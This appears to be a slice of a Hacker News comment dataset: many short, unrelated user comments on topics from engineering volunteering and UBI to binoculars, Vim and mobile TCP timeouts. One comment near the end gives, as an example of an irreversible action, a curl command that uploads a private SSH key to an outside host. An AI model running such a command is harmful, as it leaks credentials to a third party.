jkeisling/hacker-news-corpus-2007-2022 huggingface dataset:
I'm more concerned with contamination from fracking fluid than I am with gases. This article didn't tackle fluid or the disposal of it. There are wells drill specifically to store fracking fluid.
Apple seems to know how to fix this: they have small incremental updates for iOS.
Absolutely agree! I love writing it, myself.
The elegance of that time is something unfortunately missing from modern software.
Do you really think management at Rockstar is using their product?
Yes, see https://news.ycombinator.com/item?id=26298805
In theory, could elevators replace satellites? If so perhaps an initial batch of elevators could also be used to clean up the space junk (including the now obsolete satellites).
Portal 2 runs a different branch of the source engine. Here is an (incomplete) list of the different branches.

https://developer.valvesoftware.com/wiki/Category:Engine_bra...
> it doesn't interest me enough to choose it over C.

Why? If it's as fast as C but has the benefit of sugar, why not use it?

> People are (for good reason) very suspect of dependancies.

Not web developers. :D Although we should be.

> And most people are suprised to hear that I probably wouldn't use it for anything serious either.

Again, why not? C performance but easier to read code sounds like a good reason to use it for something serious. What are the downsides?
FRED doesn't have the data you need?
A few years ago, I volunteered in SE Asia for 18 months using my electrical engineering skills to help rural villages get access to electricity. At the time, I'd been working professionally for around 7 years and was just becoming competent at working independently. Although I'd gotten my PE status a year earlier, I can't say that I was at a senior engineering / consultant level.

So it was a surprise for me to find that I was one of the most experienced and skilled engineers in my organization (and in many other energy-related organizations for that matter). I concur with the OP and have met quite a few western volunteers that were well-intentioned, but generally had no technical skills.

Of those who had qualifications, they were usually in the social sciences, development studies, media / communications, public relations, etc. Useful skills no doubt, but I felt that the country could have benefited more with direct assistance from the hard sciences and engineering, e.g. hydrology, agriculture, civil engineers, etc - those skills were always in demand. In the end, there's a reason why development is often done so badly - they practically let anyone do it.
Where does one acquire a botnet with zero skills?
I sometimes wonder if the issue with helmets is their looks.

A quick bike helmet image search produce a multitude of helmets that looks aimed at either high speed or off-road riding.
From a physics point of view it is complete bull-shit.
Don't forget to send them a pull request for a README.en.md!
Netflix plans to create Netflix global, removing geo-blocking and allowing all customers access to all content. "The key thing about piracy is that some fraction of it is because [users] couldn’t get the content. That part we can fix"
A handful of books banned for a few individual legal issues does not make for a suppressive state. Are you seriously arguing that the USA is more suppressive of coimmunications and publications that China? Really?
This really isn't any worse than the other invasions of privacy that have been revealed – but it's much easier to point at it as an egregious and visceral violation of privacy. Even though webcam stills may be the least important (or useful) spying the US and UK have been doing, this may be some of the best fodder for arguments to limit such activities. So thank you, UK, for being so dumb.
Maybe "laypeople" in this context means "programmers with very basic/naive understanding of crypto and implications".
Anything where you play buzzword bingo is not going to be lucrative in the long term. The technology's popularity attracts wannabes, which increase the supply of available labor, which drives down wages.

I'd go with something that requires specialized knowledge, either domain-based (bioinformatics, geology, finance), systems programming (compiler, OS, and distributed computing), or one of the AI subfields (information retrieval, machine learning, data mining, computer vision, etc.)
Yes, but the precedent will be interesting. SSL will become useless and a new decentralized trust system will have to be developed in its place. This will make the Internet even more resistant to censorship and tampering (much like how encrypted Bittorrent stopped greedy or "well-meaning" ISPs from censoring your Linux DVD distribution).
Languages such as OCaml already have the ability to do this at compile time. What's the benefit to allowing this at runtime? (Which effectively restricts this language to being interpreted, and severely limits the use of external tools such as code refactorers and smart editors...)
Pretty shocking. Then again, people get the government they vote for and the USA has clearly been decline to being a banana republic for a long time.

But I don't agree that this is a case of forcing anything on the world, com/org/net are US domain extensions, so I guess they have the right to control those. We're free to not use US domain names.

On the other hand, with ACTA the USA will force its view on the world.
But was it used as a general purpose machine? I think there's a difference between something that was designed and used for general purpose computation and something that was only demonstrated to be able to do general purpose computation after decades of hindsight.
What early adopters often forget is how huge the pool of email users is.

http://xkcd.com/802/

The users of email dwarf the users of social networking and smartphone apps. Blackberry still makes great devices for email power users.
Thanks for trying it. I was going to put it on GitHub later. I will announce the link later.
I found the cppcon video on c++ 20 features to be very informative and I am honestly excited to use ranges and other items mentioned, unlike the other guys on here who hate progress.

https://youtu.be/FRkJCvHWdwQ
Is it this http://www.xfce.org/projects/thunar/ ?
Why? If they see their sales decline equally in distinct products under both objectionable and reasonable policies, shouldn't they assume they have a branding problem rather than a policy problem?
Could you please elaborate on that one?

I understand it is true for every rookie, but how is it possible to remain 8+ years in the payroll if you do not ship anything to production? By job hopping every year?
I submit to you as an example Chrome, which while technically sound has not exactly caught fire, despite Google's ability to promote it from the Google page.
Being a "badass" is something I don't exactly look for when I try to think of who should develop substances that are injected to my blood circulation.
IIRC, Yotta Savings (https://www.withyotta.com/) is in this range. HN did the math on Yotta a few months back:

- founder's comments (claims ~3%): https://news.ycombinator.com/item?id=23786893

- the math (~3.4%): https://news.ycombinator.com/item?id=23781247

Note that it's likely to go down to get in line with other HYSAs over time (and it's fairly easy for them to change the winning probabilities to hit any interest rate). Currently they're just burning VC cash to get users...

Prizepool (https://getprizepool.com/) is another player in this space, unsure where they're at though (I know we could do the math, I just haven't).
What you would like to see in a starter Boilerplate, which is not to much opinionated (yup... Tailwind is clearly an exception already :-) ?
> Mercedes says the Hyperscreen will include something called “zero layers,” in which the user no longer has to scroll through a variety of sub-menus or give voice commands “as the most important applications are always available in a situational and contextual way at the top of the driver’s field of vision.”

Good. Menus suck when trying to change the temperature in a car's touchscreen compared to individual knobs.

Volvo's touchscreen has multi-touch, as you can use it to zoom (very poorly) in their (bad) map, but if the driver and passenger want to change their temperature at the same time, it'll close the other's menu, even though the two menus don't even touch the other half of the screen closest to the other person.
How secure is linking your bank account with YNAB?
Yes, my first thought was acquisition.
> Not quite. The miners collectively decide what rules to follow.

I don't mind being nitpicked but what you wrote is more incorrect. Miners can't unilaterally decide what rules to follow even if a majority of the hash power formed a cartel. Non-mining nodes also validate the rules and would reject mined blocks that violate consensus rules. The worse that a majority cartel of miners could do is perform a double spend attack or bring the network to a halt but that's hardly surprising.
I would hate to rely on newspapers for any topic. You can tell the writer has limited knowledge and you couldn't get enough info here to have an opinion that wasn't anything more than noise
Combined with UBI, it could have merit.

However the combination will never happen as it doesn’t allow politicians to play favorites and reward their buddies.
I assume you've heard of index funds; out of curiosity, what makes that investing choice unappealing to you?
Is it possible to get some more details or other open source references for this kind of work?
UBI + a flat tax with no exemptions can be tuned so that the UBI covers everything welfare programs currently provide, the middle class pays about the same, and all of the wealthy pay their fair share.

It would eliminate many classes of fraud, government spending on administration of social services, and also the tax preparation industry. I think those are the main reasons it doesn’t happen.
Modeling such interactions is the entire point of economics. We focus far to much on the math but very complex economic system really can be modeled rather accurately. Farm subsidies have been studied extensively and like all long term subsidies end up being harmful to the overall economy.
The non-barbarian way to avoid counting characters when there's no convenient motion is visual mode. Hit v, then hit l until you've highlighted the part you want to change, then hit c to start changing it.
hmm, now this is new information that in my quick reading i missed.

though even with this i would side with what sph said below. The fact that 200 students (and not something like 10) got the guide tells me the original act wasn't one intending to "cheat" so much as study extra material.

the professor told the students he made their tests, so there was nothing that should have lead them to believe these extra questions would be on the test.

does it make their act a little more morally gray? yes. does it constitute as cheating? no.
I'm not actually an ISP so my perspective is different but yeah I do, and I know the ISPs that I work with do too (Leaseweb, OVH). I have to work to keep things clean on my servers and to take reasonable steps to abide by their policies and inform my customers (although this kind of goes without saying).

One of the problems I imagine is size, I can still handle my couple of thousand customers and provide "good" support with enough time to investigate something that is described as a slowloris attack. I can open a dialogue with the customer and tell them that what they did was a little bit stupid and for the most part, the customer will understand and stop.

Although there was a time when I did investigate, couldn't find anything immediate (I'm spending say 5-10 minutes pruning a few TB of data here...) so the next point was to catch them in the act with a few iptables rules. Then the person who e-mailed me (and my host) pretty much turned hostile/gained a sense of entitlement and that was that. I wasn't much interesting in putting more time into it (so, didn't!). However this guy only produced a few text logs that could have been easily forged and I never heard more about it... who knows?

That also leads to another angle, how do you know who is telling the truth? The hosts are likely to side with the paying customer (well you never know with OVH) and there is little an outsider can do to prove their case in point except with easily fabricated text logs and events.

It's strange really, some of the people who I have followed up on have been very grateful (perhaps because they got their way), much in the same way going the extra mile for a customer might.
Seems like this is the original :
http://www.redstate.com/erick/2010/11/18/another-tsa-outrage...
This guy is definitely a good writer. I wonder if I can use him to write cliche startup blog posts so I can focus on actually coding. If the cost is low enough for a student, then it's low enough for a startup.
Not necessarily. I work in a relatively small town with 2 companies in it, both companies employee >10,000 people each. You'd think that there would be horrible traffic but there isn't. One company starts the day at somewhere between 6 and 8, while the other company starts the day between 8 and 10. It is just a coincidence I think, but it really works out for traffic.

I know most people are horrified at the thought of showing up at work at 6am, I went from a job where I started the day at 10am to this one and was shocked. I typically get in around 7am even though my boss is in earlier. But we're leaving at 3 or 4pm, and I get to go surfing after work (helps to be 5 minutes from the ocean). It has its advantages.
>You are pretty much left with Miranda, Haskell, and a few related languages.

Agda and Idris as well.

The bar for what constitutes "FP" has been changing since the 50s. Doesn't sound unreasonable to me.
Excerpt:
At one chain I was required to sign a contract stating that I was an at-will employee, that I would be part-time with no benefits, and that if I took another job without permission I would be subject to termination because the company expected me to be able to come in whenever they found it necessary.

And yes, this is legal.

Yeah, that sort of crap needs to stop.

Also, we need to make it possible for average folks to become homeowners again. Also, this Obamacare crap: I am not a fan. Make it a government benefit or butt the hell out of whether or not I buy insurance. Thanks.

(In case you missed it, I have been homeless for three years and counting. I think I have more hope than this woman describes having, but I got that by walking away from my corporate job. I was able to do that because I was a military wife for a lot of years. So I still alimony and, in theory, access to free medical care. I still have things that are kind of a throw back to the 1950's way of life. Plus six years of college and other assets that have given me maneuvering room that most poor people lack.)
> The important information is larger and more legible in the poster on the left

THIS IS LARGER, SO EASIER TO READ, RIGHT?

Font size alone I agree with you (and a light - serif - white text on a black background has some issues with artifacts, which are visible on the flier), but the whole thing is a mess.

> In the poster on the right, my eye is drawn to the enormous headings, which contain no useful information by themselves.

Yes, it contains. It's an aid to point you to the right section.

Because you scan the bigger text first, the first thing most people will read is "Aikido - Beginner classes" then follow the right column

> The "Come Visit" heading isn't close enough to the address

I agree, this is debatable, one possibility would be to replace it with "Try it" and/or put "Come Visit" or "Visit Us" above the address

> and the address/phone/URL has been squeezed into a single block of tiny, fuzzy text

This is another heuristical cue and to separate it from the rest of the text.
Note that any NAT that drops UDP packets altogether will basically disable DNS and VOIP type applications or at least degrade the experience in serious ways. I haven't come across many such NATs recently.
> as are poor performance in elementary school as multi-lingual children struggle

I am too lazy to google but I am pretty sure that I read multilingual kids have slightly better performance compared to monolinguals.
The native search using a web protocol seems really interesting.
>"for about three seconds"

The "get things done" attitude resonates with me.
Your short comment is more interesting than the original post.
Completely agree with your righteous rage about TCP over bad connections. I allowed myself a bitter chuckle to the GP's "networks are generally pretty reliable" thing.

Minor disagreement though:

"Edit: the only downside of UDP VPNs is that stateful firewalls can have extremely short timeouts of UDP "connections" (e.g. 30 seconds!)"

Plenty of mobile networks will timeout inactive TCP connections in less than 30 seconds. TCP keepalives are an absolute requirement on long running mobile connections.... e.g. Google maintained GCM connections on Android for notifications... a simple packet capture will show you the frequency of keepalives there... and it's almost always more frequent than per 30 seconds.
When he hooked up with Grimes it just kinda grew back..
I really don't believe this is true. I was spanked my whole childhood. It never taught me one single thing, because I just wanted to know "why" X was bad and I was never told.

It was no more effective than just telling me no.

People use spanking as a crutch, it really has no place in the child raising toolkit imo.
> The topic is clearly about personality traits not medical conditions.

Contextualizing it would make sense if you had not said "literally no context". This is my point, black and white language like this repels nuance.
For a desktop operating system, I was hoping for some more (recent) screenshots. While this seems to be under active development, the last screenshot is from 2017.

(Obviously, screenshots really don't tell too much...)
Fascinating - I had expected helium to be a larger molecule than hydrogen.
Several people have mentioned binoculars. If you do get binoculars, and might also want to use them for watching the local wildlife that visits your yard, take into account the "close focus distance".

Almost all binoculars can focus on things that are far away, which is usually the case for astronomy (and in those cases when it isn't, you are too busy running from the asteroid that is about to hit you to be making observations...).

But how close they can focus varies a lot. I've seen good recommendations for the Celestron Nature DX [1] series as a good but not too expensive binocular for critter watching.

The 56 mm models can focus down to 3 m, and the smaller models down to 2 m. I have the 8x42 model, and it has been great when I'm at my desk in the living room next to a big window, and see a critter I want to take a closer look at sitting on the rail of my front deck. I can just pick the binoculars up and get a good look right from my desk. With my old binoculars (50+ year old Tower Optical binoculars that my family had when I was a little kid), I had to back up to the opposite side of the room to focus on something on the deck rail.

If you want to wear glasses while using binoculars, make sure they have an adjustment for that. The rear binocular lens is supposed to be a certain distance from your eye. There needs to be a mechanism that allows you to get closer to the lens when wearing glasses, to compensate for the added distance glasses add.

For the Celestron Nature DX, you simply twist the eye cups. They are on some sort of threaded mechanism that can move them in or out as you twist them. Move them all the way out to use without glasses, and move them in when using glasses.

I believe I've seen some where you swap eye cups to switch distances, which seems like it would be inconvenient.

[1] https://www.amazon.com/gp/product/B00B73JONS/
The studies that show that women are more inspired by other women also show that men are indifferent to the gender of the role-model. Not that these studies seem that convincing.
> is that worth a year of suffering and untold hours spent feeding

Suffering? Sure NOT breastfeeding is very inconvenient, not least at night. And few things are more intimate and loving than the act of breastfeeding. Robbing the child or mother of that is horrible.
This worked for me too and has been pretty neat during the pandemic. The key is to do proper fades on what is left and balance out with a little bit of a beard.
I chose a page more or less at random and ended up in the knife fight section [1]. Some of the techniques listed there are techniques I had seen before in self-defense courses.

Which leads me to the same question I had at that moment: how reliable are these techniques in a real-life setting? We know that Andre Lignitzer was a great sword master, but how often did he face attackers trying to stab him in the face?

The fact that the same techniques keep showing up in different martial arts gives me hope that they must be at least good. Still, it would be great to have first person accounts of how these techniques fare in real life. As this guy [2] points out, a real-life knife fight is probably not as easy as one thinks.

[1] https://www.wiktenauer.com/wiki/Andre_Lignitzer#Dagger

[2] https://www.youtube.com/watch?v=E61jnJe_1SI
Can’t this also be said about windows. How do they solve this problem ?
You realize there are several countries, like Singapore, that are in the same situation (small population, little land, no natural resources) that already exceed the US on a GDP/capita basis?
It's important to note for #3 that a mining GPU is a terribly inefficient space heater.
I would see myself procrastinate until it falls off my calendar.
> you wouldn't want to actually use that for any of the same cases as a traditional jit

Well the most high-profile project using libgccjit right now is Elisp (feature/native-comp GNU Emacs branch, which by all indications will eventually make it into the official release), and using GCC as a JIT compiler is how Embeddable Common Lisp has always worked.
I was a former Mint user and switched to PersonalCapital which in my opinion is a much better Freemium product than Tiller, with PersonalCapital there’s an option to pay for financial advisor or just use dashboards from the free version
There are plenty of commands that essentially cannot be undone. Let's consider
`curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk`
for example.

Even when it's doable, some of us prefer to risk unrecoverable mistakes if it avoids having to take an extra step for the command we launched to be effective. I don't want to "empty a bin" after a `rm`, I want free disk space, and yeah, it could be almost impossible to undo.

I understand that safeguards around destructive actions or actions cancellation can help UX, however at some point you can't make an omelet without breaking eggs.
Luggage has changed a lot since this happened. I can still remember when the now-ubiquitous overhead bin–sized luggage with retractable handles and wheels came out and that was a couple decades after this event. I don't think that would have necessarily been an option. My recollection of my family's luggage when I was a kid was that there were pretty much full-sized suitcases and toiletry cases and nothing really in-between, plus everything was a rigid hards shell.
I have a samsung fridge, the ice maker does not work. I've tried a lot of things to get it to work, none of which worked. This is not an isolated issue, if you read online it's just accepted that the ice maker will at some point cease the function and will never work again.